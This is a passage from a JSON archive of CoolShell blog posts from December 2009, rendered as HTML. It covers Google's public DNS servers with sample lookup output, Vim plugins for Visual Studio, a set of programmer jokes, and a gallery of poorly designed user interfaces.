class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1178.html\">Internet 技术演变图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2011.html\">推荐几个镜像站点</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-28 google的免费dns服务器.html",
    "content": "<html><body><p>google推出了自己的免费dns服务器，以供公众使用。服务器地址是：</p>\n<p>dns1: 8.8.8.8</p>\n<p>dns2: 8.8.4.4</p>\n<p>我在我的机器上测试了一下：</p>\n<p><span id=\"more-2015\"></span></p>\n<div>$ host -a g.cn 8.8.8.8</div>\n<div>Trying “g.cn”</div>\n<div>Using domain server:</div>\n<div>Name: 8.8.8.8</div>\n<div>Address: 8.8.8.8#53</div>\n<div>Aliases:</div>\n<div>;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 33253</div>\n<div>;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 0</div>\n<div>;; QUESTION SECTION:</div>\n<div>;g.cn.\t\t\t\tIN\tANY</div>\n<div>;; ANSWER SECTION:</div>\n<div>g.cn.\t\t\t300\tIN\tA\t72.14.203.160</div>\n<div>g.cn.\t\t\t259200\tIN\tNS\tns3.google.com.</div>\n<div>g.cn.\t\t\t10800\tIN\tMX\t10 google.com.s9b2.psmtp.com.</div>\n<div>g.cn.\t\t\t259200\tIN\tNS\tns1.google.cn.</div>\n<div>g.cn.\t\t\t259200\tIN\tNS\tns2.google.com.</div>\n<div>g.cn.\t\t\t86400\tIN\tSOA\tns1.google.com. dns-admin.google.com. 1402219 21600 3600 1209600 300</div>\n<div>g.cn.\t\t\t10800\tIN\tMX\t10 google.com.s9b1.psmtp.com.</div>\n<div>g.cn.\t\t\t10800\tIN\tMX\t10 google.com.s9a2.psmtp.com.</div>\n<div>g.cn.\t\t\t10800\tIN\tMX\t10 google.com.s9a1.psmtp.com.</div>\n<div>g.cn.\t\t\t259200\tIN\tNS\tns1.google.com.</div>\n<div>g.cn.\t\t\t259200\tIN\tNS\tns4.google.com.</div>\n<p>Received 325 bytes from <strong><span style=\"color: #ff0000;\">8.8.8.8#53 in 217 ms</span></strong></p>\n<div></div>\n<div>\n<div>$ host -a g.cn 8.8.4.4</div>\n<div>Trying “g.cn”</div>\n<div>Using domain server:</div>\n<div>Name: 8.8.4.4</div>\n<div>Address: 8.8.4.4#53</div>\n<div>Aliases:</div>\n<div></div>\n<div>;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 40871</div>\n<div>;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 0</div>\n<div></div>\n<div>;; QUESTION SECTION:</div>\n<div>;g.cn.<span> </span>IN<span> </span>ANY</div>\n<div></div>\n<div>;; ANSWER SECTION:</div>\n<div>g.cn.<span> </span>227<span> </span>IN<span> </span>A<span> </span>72.14.203.160</div>\n<div>g.cn.<span> </span>259127<span> </span>IN<span> </span>NS<span> </span>ns3.google.com.</div>\n<div>g.cn.<span> </span>10727<span> </span>IN<span> </span>MX<span> </span>10 google.com.s9b2.psmtp.com.</div>\n<div>g.cn.<span> </span>259127<span> </span>IN<span> </span>NS<span> </span>ns1.google.cn.</div>\n<div>g.cn.<span> </span>259127<span> </span>IN<span> </span>NS<span> </span>ns2.google.com.</div>\n<div>g.cn.<span> </span>86327<span> </span>IN<span> </span>SOA<span> </span>ns1.google.com. dns-admin.google.com. 1402219 21600 3600 1209600 300</div>\n<div>g.cn.<span> </span>10727<span> </span>IN<span> </span>MX<span> </span>10 google.com.s9b1.psmtp.com.</div>\n<div>g.cn.<span> </span>10727<span> </span>IN<span> </span>MX<span> </span>10 google.com.s9a2.psmtp.com.</div>\n<div>g.cn.<span> </span>10727<span> </span>IN<span> </span>MX<span> </span>10 google.com.s9a1.psmtp.com.</div>\n<div>g.cn.<span> </span>259127<span> </span>IN<span> </span>NS<span> </span>ns1.google.com.</div>\n<div>g.cn.<span> </span>259127<span> </span>IN<span> </span>NS<span> </span>ns4.google.com.</div>\n<div></div>\n<div>Received 325 bytes from <span style=\"color: #ff0000;\"><strong>8.8.4.4#53 in 196 ms</strong></span></div>\n<div><span style=\"color: #ff0000;\"><strong><br/>\n</strong></span></div>\n</div>\n<div></div>\n<div>好记又免费，爽哉！！ :)</div>\n<div></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5701.html\"><img alt=\"SteveY对Amazon和Google平台的吐槽\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2015.html\">google的免费dns服务器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-4 Visual Studio的Vim插件.html",
    "content": "<html><body><p>前两天向大家介绍了<a href=\"https://coolshell.cn/articles/1837.html\" rel=\"bookmark\">Eclipse 和Vim相互交融的插件</a>，今天向大介绍几个插件，可以让你在Visual Studio中使用Vim的那些操作。</p>\n<p>第一个是：<a href=\"http://www.viemu.com/\" target=\"_blank\">ViEmu</a>，下面是一个演示图片。不过这个插件是商业版的，而且还不支持VS2010。不过据其网站说很快就会支持。最夸张的是ViEmu还支持Word和Outlook，SQL Server，呵呵。</p>\n<p><a href=\"http://www.viemu.com/viemu-movie.gif\"><img alt=\"\" class=\"alignnone\" height=\"370\" src=\"http://www.viemu.com/viemu-movie.gif\" title=\"ViEum\" width=\"642\"/></a></p>\n<p>如果你要用免费的的插件，没有问题，试工这个新出的插件吧：<a href=\"http://visualstudiogallery.msdn.microsoft.com/en-us/59ca71b3-a4a3-46ca-8fe1-0e90e3f79329\" target=\"_blank\">VsVim</a>。只不过好像目前只支持VS2010。</p>\n<p style=\"TEXT-ALIGN: center;\"><img alt=\"\" src=\"http://visualstudiogallery.msdn.microsoft.com/en-us/59ca71b3-a4a3-46ca-8fe1-0e90e3f79329/image/file/6397\"/></p>\n<div id=\"projectTitleBar\"><strong></strong><a href=\"http://visualstudiogallery.msdn.microsoft.com/en-us/59ca71b3-a4a3-46ca-8fe1-0e90e3f79329\"></a> 看来Vim还是很强大的，不然，怎会有这些人把其集成到了 Eclipes 和Vistual Studio中，呵呵。Unix下的这个老得都不行了的编辑器正在影响着图形界面的编辑器。最后，让我问问你，你会用Vim吗？</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11312.html\"><img alt=\"无插件Vim编程技巧\" height=\"150\" src=\"../wp-content/uploads/2014/03/success_vim-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7166.html\"><img alt=\"游戏：VIM大冒险\" height=\"150\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5479.html\"><img alt=\"给程序员的VIM速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5479.html\">给程序员的VIM速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1901.html\">Visual Studio的Vim插件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-7 程序员的相关笑话（一）.html",
    "content": "<html><body><p></p>\n<h4>问答</h4>\n<p>Q：你是怎么区分一个内向的程序员和一个外向的程序员的？<br/>\nA：外向的程序员会看着你的鞋和你说话时。</p>\n<p>Q：为什么程序员不能区分万圣节和圣诞节？<br/>\nA：这是因为Oct 31 == Dec 25！（八进制的31==十进制的25）</p>\n<p> </p>\n<h4>刹车失灵</h4>\n<p>有一个物理学家，工程师和一个程序员驾驶着一辆汽车行驶在阿尔卑斯山脉上，在下山的时候，忽然，汽车的刹车失灵了，汽车无法控制地向下冲去，眼看前面就是一个悬崖峭壁，但是很幸运的是在这个悬崖的前面有一些小树让他们的汽车停了下来，而没有掉下山去。三个惊魂未定地从车里爬了出来。</p>\n<p>物理学家说，“我觉得我们应该建立一个模型来模拟在下山过程中刹车片在高温情况下失灵的情形”。</p>\n<p>工程师说，“我在车的后备厢来有个扳手，要不我们把车拆开看看到底是什么原因”。</p>\n<p>程序员说，“为什么我们不找个相同的车再来一次以重现这个问题呢？”</p>\n<p><span id=\"more-1903\"></span></p>\n<p> </p>\n<h4>关于编程语言</h4>\n<p>如果C++是一把锤子的话，那么编程就会变成大手指头。</p>\n<p>如果你找了一百万只猴子来敲打一百万个键盘，那么会有一只猴子会敲出一段Java程序，而其余的只会敲出Perl程序。</p>\n<p>一阵急促的敲门声，“谁啊！”，过了5分钟，门外传来“Java”。</p>\n<p>如果说Java很不错是因为它可以运行在所有的操作系统上，那么就可以说肛交很不错，因为其可以使用于所有的性别上。</p>\n<p> </p>\n<h4>自行车</h4>\n<p>一个程序员骑着一个很漂亮的自行车到了公司，另一个程序员看到了他，问到，“你是从哪搞到的这么漂亮的车的？”</p>\n<p>骑车的那个程序员说，“我刚从那边过来，有一个漂亮的姑娘骑着这个车过来，并停在我跟前，把衣服全脱了，然后对我说，‘你想要什么都可以’”。</p>\n<p>另一个程序员马上说到，“你绝对做了一个正确的选择，因为那姑娘的衣服你并不一定穿得了”。</p>\n<p> </p>\n<h4>火车</h4>\n<p>一个年轻的程序员和一个项目经理登上了一列在山里行驶的火车，他们发现列车上几乎都坐满了，只有两个在一起的空位，这个空位的对面是一个老奶奶和一个年轻漂亮的姑娘。两个上前坐了下来。程序员和那个姑娘他们比较暧昧地相互看对方。这时，火车进入山洞，车厢里一片漆黑。此时，只听见一个亲嘴的声音，随后就听到一个响亮的巴掌声。很快火车出了山洞，他们四个人都不说话。</p>\n<p>那个老奶奶在喃喃道，“这个年轻小伙怎么这么无礼，不过我很高兴我的孙女扇了一个巴掌”。</p>\n<p>项目经理在想，“没想到这个程序员居然这么大胆，敢去亲那姑娘，只可惜那姑娘打错了人，居然给打了我。”</p>\n<p>漂亮的姑娘想，“他亲了我真好，希望我的祖母没有打疼他”。</p>\n<p>程序员坐在那里露出了笑容，“生活真好啊。这一辈子能有几次机会可以在亲一个美女的同时打项目经理一巴掌啊”</p>\n<p> </p>\n<h4>问路</h4>\n<p>有一个驾驶热气球的人发现他迷路了。他降低了飞行的高度，并认出了地面上的一个人。他继续下降高度并对着那个人大叫，“打扰一下，你能告诉我我在哪吗？”</p>\n<p>下面那个人说：“是的。你在热气球里啊，盘旋在30英尺的空中”。</p>\n<p>热气球上的人说：“你一定是在IT部门做技术工作”。</p>\n<p>“没错”，地面上的人说到，“你是怎么知道的？”</p>\n<p>“呵呵”，热气球上的人说，“你告诉我的每件事在技术上都是对的，但对都没有用”。</p>\n<p>地面上的人说，“你一定是管理层的人”。</p>\n<p>“没错”，热气球上的人说，“可是你是怎么知道的？”</p>\n<p>“呵呵”，地面上的那人说到，“你不知道你在哪里，你也不知道你要去哪，你总希望我能帮你。你现在和我们刚见面时还在原来那个地方，但现在却是我错了”。</p>\n<p> </p>\n<h4>警告</h4>\n<p>有一个小伙子在一个办公大楼的门口抽着烟，一个妇女路过他身边，并对他说，“你知道不知道这个东西会危害你的健康？我是说，你有没有注意到香烟盒上的那个警告（Warning）？”</p>\n<p>小伙子说，“没事儿，我是一个程序员”。</p>\n<p>那妇女说，“这又怎样？”</p>\n<p>程序员说，“我们从来不关心Warning，只关心Error”</p>\n<p> </p>\n<p>(你还有更多的笑话吗？欢迎告诉我们)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1941.html\"><img alt=\"程序员的相关笑话（二）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1941.html\">程序员的相关笑话（二）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1903.html\">程序员的相关笑话（一）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-9 UI的恶梦.html",
    "content": "<html><body><p>UI可能是编程中最令人头痛的事了。设计UI通常对于程序员来说是一件很痛苦的事情。下面，让我们来看一看一些可怕的UI设计吧，前面几个UI都是出于咱们程序员自己之手，把他们放在这里，希望能引起大家的注意。（国内软件的UI嘛的我就不说了，省得得罪人）下面这个例子不知道你是否让你似曾相识，呵呵，记得我上大学时，用delphi，PB经常开发这样的界面，当时觉得自己特牛！现在看上去嘛，简直就是一个垃圾。（关于UI设计，你可以查看本站的《<a href=\"https://coolshell.cn/articles/363.html\" rel=\"bookmark\">35个强大的UI设计教程</a>》）</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/badui2.jpg\"><img alt=\"UI的恶梦\" height=\"224\" src=\"../wp-content/uploads/2009/12/badui2-300x224.jpg\" title=\"UI的恶梦\" width=\"300\"/></a></p>\n<p style=\"text-align: left;\">首先，我们先来看一个叫wGetGUI的小工具软件，这是一个100%由程序员设计的UI，如下所示：</p>\n<p style=\"text-align: left;\"><span id=\"more-1907\"></span></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/wgetgui-screenshot.png\"><img alt=\"wgetgui-screenshot\" height=\"208\" src=\"../wp-content/uploads/2009/12/wgetgui-screenshot-300x208.png\" title=\"wgetgui-screenshot\" width=\"300\"/></a></p>\n<p style=\"text-align: left;\">看到这样的界面，你会觉得怎么样？“高科技”还是“头晕”？相比起命令行的那个wget，真不知道这个图形界面的工具是怎么被设计出来。哎。这里是这个工具的网页：<a href=\"http://www.jensroesner.de/wgetgui/\">http://www.jensroesner.de/wgetgui/</a>，网页上还有几张图，也是一样的。</p>\n<p style=\"text-align: left;\">不过，比起下面这个来，wGetGUI算不上什么了。下面这个软件叫做：FileMatrix，这个界面是前所未有的经典，那叫一个相当强大啊。估计可以节省很多对话框和tab页了，把软件的所有功能全部一次性陈列出来。这也是程序员的杰作。（点击图片，你可以慢慢欣赏下面这个UI的细节）</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/UI.png\"><img alt=\"UI\" height=\"234\" src=\"../wp-content/uploads/2009/12/UI-300x234.png\" title=\"UI\" width=\"300\"/></a></p>\n<p style=\"text-align: left;\">当然，FileMatrix今天还在，其主页在<a href=\"http://www.gardenerofthoughts.org/ideas/filematrix/index.htm\" target=\"_blank\">这里</a>。今天的FileMatrix的UI界面已经变得很简洁了，其还支持一些皮肤，不过它们还是很糟糕。如下所示：（<a href=\"http://www.gardenerofthoughts.org/ideas/filematrix/screenshots.htm\" target=\"_blank\">更多的图片</a>）</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/marble.png\"><img alt=\"marble\" height=\"226\" src=\"../wp-content/uploads/2009/12/marble-300x226.png\" title=\"marble\" width=\"300\"/></a></p>\n<p style=\"text-align: left;\">让我们再来看看历史上Windows 3.2的某个配色方案：hotdog（如下图所示），真不知道这是谁配的，真是——“红配黄，喜洋洋”啊。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/windows-311-hotdog-stand-scheme.png\"><img alt=\"windows-311-hotdog-stand-scheme\" class=\"alignnone size-medium wp-image-1917\" height=\"225\" src=\"../wp-content/uploads/2009/12/windows-311-hotdog-stand-scheme-300x225.png\" title=\"windows-311-hotdog-stand-scheme\" width=\"300\"/></a></p>\n<p>不要以为，以简洁著称的Google就没有问题，最近的Google Wave大家用过没有？那个滚动条啊，我实在是没有搞懂为什么设计成那个样子。可谓史上最无厘头的滚动条了。下面，左边是Mac的，右边是Google Wave的，他们俩干的都是一样的事，但Google Wave的太令人摸不着头脑了。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/google-wave-scrollbars.png\"><img alt=\"google-wave-scrollbars\" class=\"aligncenter\" height=\"243\" src=\"../wp-content/uploads/2009/12/google-wave-scrollbars.png\" title=\"google-wave-scrollbars\" width=\"140\"/></a></p>\n<p>对于Google Wave的滚动条，我只想说的是，根据《Don’t make me Think》的原则，这个滚动条和其它例子一样只站在了程序员的角度，而并没有考虑用户体验。下面这些文章，你都可以看看那大家的看法。</p>\n<ol>\n<li><a href=\"http://www.flickr.com/photos/yaili/3990023684/\">http://www.flickr.com/photos/yaili/3990023684/</a></li>\n<li><a href=\"http://ignorethecode.net/blog/2009/11/15/google_waves_scrollbars/\">http://ignorethecode.net/blog/2009/11/15/google_waves_scrollbars/</a></li>\n<li><a href=\"http://squawk.blogs.starnewsonline.com/10194/is-google-wave-ugly/\">http://squawk.blogs.starnewsonline.com/10194/is-google-wave-ugly/</a></li>\n<li><a href=\"http://allentan.posterous.com/google-waves-scrollbar-details\">http://allentan.posterous.com/google-waves-scrollbar-details</a></li>\n<li><a href=\"http://technmarketing.com/web/eight-google-wave-annoyances/\">http://technmarketing.com/web/eight-google-wave-annoyances/</a></li>\n</ol>\n<p>你以Google wave scrollbar作为关键词到Google里搜索吧，你可以看到大量的讨论和抱怨。以至于Google自己都要写个<a href=\"http://www.google.com/support/wave/bin/answer.py?hl=en&amp;answer=162103\" target=\"_blank\">说明</a>了。</p>\n<p>好了，最后两个图片和设计者无关，设计者在开始的时候可能并没有想到UI能变成这样。下面是关于IE7浏览器的，这张图你可能并不陌生，这是一张当我们的IE被安装了各种工具条后（很多是流氓软件）后的样子。（点击大图细细欣赏）</p>\n<p style=\"text-align: center;\"> <a href=\"https://coolshell.cn/wp-content/uploads/2009/12/wgetgui-screenshot.png\"></a> <a href=\"https://coolshell.cn/wp-content/uploads/2009/12/UI.png\"></a>  <a href=\"https://coolshell.cn/wp-content/uploads/2009/12/iemess2.jpg\"><img alt=\"iemess2\" class=\"alignnone size-medium wp-image-1913\" height=\"225\" src=\"../wp-content/uploads/2009/12/iemess2-300x225.jpg\" title=\"iemess2\" width=\"300\"/></a> <a href=\"https://coolshell.cn/wp-content/uploads/2009/12/google-wave-scrollbars.png\"></a></p>\n<p>不要以为Firefox不会像IE一样，那是因为你的Firefox没有装插件，当安装上各种插件后，也是一样的。如下所示（点击图片，慢慢欣赏）。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/ffToolbars.jpg\"><img alt=\"ffToolbars\" class=\"alignnone size-medium wp-image-1911\" height=\"300\" src=\"../wp-content/uploads/2009/12/ffToolbars-251x300.jpg\" title=\"ffToolbars\" width=\"251\"/></a></p>\n<p style=\"text-align: left;\">最后，让我们看一个现实生活中的UI吧，好像是一个飞机驾驶舱。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/Blackhawk-Cockpit.jpg\"><img alt=\"Blackhawk-Cockpit\" class=\"alignnone size-medium wp-image-1910\" height=\"225\" src=\"../wp-content/uploads/2009/12/Blackhawk-Cockpit-300x225.jpg\" title=\"Blackhawk-Cockpit\" width=\"300\"/></a> </p>\n<p style=\"text-align: left;\">你有什么UI恐怖的经历吗？欢迎与我们分享。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3877.html\"><img alt=\"另类UX让你输入强口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3207.html\"><img alt=\"30+ Web下拉菜单\" height=\"150\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3207.html\">30+ Web下拉菜单</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3142.html\"><img alt=\"用户界面和用户体验的差别\" height=\"150\" src=\"../wp-content/uploads/2010/10/UI-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3142.html\">用户界面和用户体验的差别</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3097.html\"><img alt=\"Windows的达尔文进化图\" height=\"150\" src=\"../wp-content/uploads/2010/10/W_600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3097.html\">Windows的达尔文进化图</a></li><li><a class=\"wp_rp_thumbnail\" 